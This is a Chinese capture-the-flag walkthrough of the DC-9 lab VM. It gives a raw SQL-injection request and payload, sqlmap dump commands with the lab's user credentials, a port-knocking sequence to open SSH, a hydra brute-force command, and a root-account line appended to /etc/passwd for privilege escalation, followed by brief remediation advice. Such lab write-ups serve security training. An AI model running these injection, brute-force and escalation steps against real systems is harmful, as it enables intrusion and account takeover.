DC-9渗透测试复现

DC-9渗透测试复现

目的:

获取最高权限以及flag

过程:

信息打点--sql注入- 文件包含漏洞-Knockd开门开启ssh连接-hyjra爆破-sudo提权(文件追加)

环境:

攻击机:kali(192.168.85.137)

靶机:DC_3(192.168.85.141)

复现:
一.信息收集

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

 发现主机之后 继续扫描端口 发现80网页端口和22端口 但是status为被过滤的

服务器为apache 2.4.38 并没有看到cms

AWVS 扫描发现sql注入漏洞

EXP: 

POST /results.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://192.168.85.141/

Cookie: PHPSESSID=bup6qprsevlk7mded0vpt3bgcf

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

Content-Length: 55

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36

Host: 192.168.85.141

Connection: Keep-alive



search=-1'%20OR%203*2*1=6%20AND%20000660=000660%20--%20
二.漏洞利用

然后sqlmap一把梭

sqlmap -r 'dcp.txt' --batch --current-db

得到库名 Staff

 

 

sqlmap -r 'dcp.txt' --batch -D Staff -T Users -C 'UserID,Username,Password' --dump

得到admin的账号密码 

1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc

解密得到 admin /transorbital1

 

ssh连接失败

登入进去 发现有个添加用户的功能 测试后发现没有什么利用的点 有一些用户泄露的信息,然后发现下面这个  这不妥妥的文件包含吗

测试发现确实存在文件读取漏洞

原来没有admin用户 怪不得ssh连不上

服务器是Apache,也找不到Apache配置文件的位置..,尝试写webshell 但不知道webshell的文件路径

但是这些账号密码又是之前信息收集的那些用户名

但是又不能ssh连接 但开启22端口

状态为 filtered  而不是open 那我们就搜一下filtered 估计是被隐藏了 搜索发现很可能是Knockd隐藏

通过Knockd隐藏SSH,让黑客看不见你的服务器 - 知乎 (zhihu.com)

cat下Knockd的配置/etc/knockd.conf

[options]

UseSyslog//用来定义日志输出位置以及文件名

[openSSH]

sequence    = 7469,8475,9842//设置(开门)敲门顺序,可以自定义

seq_timeout = 25//设置超时时间

command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//开门成功后添加防火墙规则命令(打开SSH端口)

tcpflags    = syn

[closeSSH]
sequence    = 9842,8475,7469 //设置(关门)敲门顺序,与开门顺序相反

seq_timeout = 25
command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//关门成功后删除之前添加的防火墙规则(关闭SSH端口)

tcpflags    = syn

接下来我们用nmap进行敲门

for x in 7469 8475 9842; do nmap -p $x 192.168.85.141; done

成功开启22

问题是账号密码呢 当时库里面只有admin啊 那估计就是库名的问题,我们重新看一下dbs 因为之前爆破的是current-db 所以估计有遗漏

重新扫描发现存在user库 这就是前期信息收集没收全的后果

得到账号密码

sqlmap -u "http://192.168.85.141/results.php" -data "search=1" -D users -T UserDetails -dump

 

| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |

| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |

| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |

| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |

| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |

| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |

| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |

| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |

| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |

| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |

| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |

| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |

| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |

| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |

| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |

| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |

| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     

账号密码这么多 那不可能一个个测呗 直接上hydra了,账号保存为username.txt  密码保存为password.txt

hydra -L username.txt -P password.txt 192.168.85.141 ssh -t 30

得到三组账号密码

chandlerb UrAG0D!

joeyt Passw0rd

janitor Ilovepeepee

 

前面两个经过测试没有有用的信息 我们直接看第三个

看看有木有什么能够提权的函数

linux版本为4.9那chfn和chsh提权就使用不了了

尝试sudo -l 也不行 那估计得换用户了


继续收集信息

看一下隐藏文件 然后发现一个secrets 进入访问得到一些新的密码 我们加入到之前的password.txt 继续进行hydra工具进爆破

BamBam01

Passw0rd

smellycats

P0Lic#10-4

B4-Tru3-001

4uGU5T-NiGHts

最终得到 新的用户密码fredf : B4-Tru3-001

我们进行登入

看下sudo提权

没啥利用的啊看起来 看了test全是乱码

 

回到上级目录继续查看 发现py文件


i

import sys

if len (sys.argv) != 3 :

    print ("Usage: python test.py read append")

    sys.exit (1)

else :

    f = open(sys.argv[1], "r")

    output = (f.read())

    f = open(sys.argv[2], "a")

    f.write(output)

    f.close()

这段代码根据命令行参数,读取一个文件的内容,并将其追加到另一个文件中。如果命令行参数不符合要求,将打印出用法信息。

三.提权

按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/wenda 里,再脚本追加写入 /etc/passwd 里。 所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存

使用openssl工具创建一个本地的加密用户,命令

openssl passwd -1 -salt admin admin

 

$1$admin$1kgWpnZpUx.vTroWPXPIB0

 然后把它按照passwd的格式送到 /tmp/wenda 

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/wenda

使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中

sudo ./test /tmp/wenda /etc/passwd

 

然后我们切换成admin 用户就变成root权限获得flag 

修复: 

1.关闭22ssh连接端口

2.利用参数化的查询阻止 SQL 注入,应用程序开发人员应避免通过转义或删除特殊字符(攻击者可能会利用来绕过此类保护的一些编码技巧)来清理输入内容,并坚持使用参数化查询,以避免出现 SQL 注入漏洞

3.关闭LFI等防止文件包含漏洞

4.取消能够提取的shell命令

DC-系列总结:

差不多10天的时间终于把DC系列刷完 ,收获还是蛮多的 渗透流程的话 前期信息收集太重要了,这个方面可以借助一些工具 像NMAP AWVS等工具或者框架识别插件都额可以 ,然后利用这些信息进行下一步的渗透,比如有没有现成的漏洞库去利用 百度 谷歌 以及kali自带的漏洞库都能去收集,发现漏洞后就是要控制对方主机了 ,然后继续收集信息 进一步提权.

下一步计划是准备进行红日的更深层的内网渗透 

  • 19
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值